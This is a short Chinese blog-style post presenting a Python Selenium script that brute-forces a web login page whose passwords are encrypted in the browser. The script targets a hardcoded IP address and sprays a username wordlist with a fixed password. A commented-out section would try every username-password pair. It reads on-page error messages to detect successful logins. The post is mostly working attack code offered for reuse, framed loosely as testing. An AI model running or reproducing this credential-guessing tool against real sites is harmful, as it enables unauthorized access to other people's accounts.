目的: 针对无法得知密Y的加密结果进行规避
代码如下(未使用异步多线程优化,速度较慢,感兴趣的自行修改)
# 编写者:富贵满堂喜盈门
# 目的:进行python脚本编写
# 开发时间:2023/2/15 19:55
# 此项目目的:此项目目的:进行一些特殊情况(前端加密)绕过测试用户名及密码
# 特殊元素是userAcount和userPassword,看页面修改,还有showMsg,显示报错信息,因地制宜
from selenium import webdriver # 引入浏览器驱动
from selenium.webdriver.common.by import By # 元素定位
from time import sleep # 延时
import bs4 # 获取html的内容
login_ip = "http://121.250.18.97" # 目标ip
username = "12345678" # 账号
password = "12345678" # 密码
# 定义登录函数
def login():
driver = webdriver.Chrome()
handles=driver.window_handles # 获取当前浏览器所有窗口句柄
# 启动浏览器
driver.get("http://121.250.18.97")
# 设置定位等待时间(因网速原因需要等待网页加载好)
driver.implicitly_wait(1)
# 定位输入账号处并输入账号
with open("C:/Users/1/Desktop/Test/userAccount.txt",mode="r",encoding="utf8") as userAccount:
for line in userAccount:
driver.find_element(By.ID, "userAccount").clear()
driver.find_element(By.ID, "userAccount").send_keys(line)
# 下面三行代码注释掉,如果使用就是笛卡尔积暴力破解,依据个人情况使用,看代码,数据量过大,不建议使用
# with open("C:/Users/1/Desktop/Test/userPassword.txt",encoding="utf8") as userPassword:
# for line in userPassword:
# driver.find_element(By.ID, "userPassword").send_keys(userPassword)
# 定位密码并输入密码
driver.find_element(By.ID, "userPassword").clear()
driver.find_element(By.ID, "userPassword").send_keys(password)
# 定位登录并点击登录
driver.find_element(By.ID, "btn-login").click()
driver.switch_to.window(handles[0]) # 0表示最开始,1表示下一个,以此类推,-1表示最后一个,-2表示倒数第二个,以此类推
sleep(2) # 根据目标服务器响应速度酌情设置,同时也是为了让错误信息有时间显示在页面上
try:
driver.find_element(By.ID, "userPassword") # 多整点前置条件来判断登进去没,就放当前页面标签,没有说明登进去了
html_text = driver.page_source # 获取当前页面源码
soup = bs4.BeautifulSoup( # 创建对象
html_text,
'html.parser'
)
Msg = soup.find_all('font', attrs={'id': 'showMsg'}) # 查找所有此类标签元素
print(Msg[0].get_text()) # 获取标签文本值
except Exception as e:
print("登入!")
driver.quit() #关闭浏览器
if __name__ == '__main__': # 防止引用代码出现错误
login()
总结
有帮助点个赞,再会!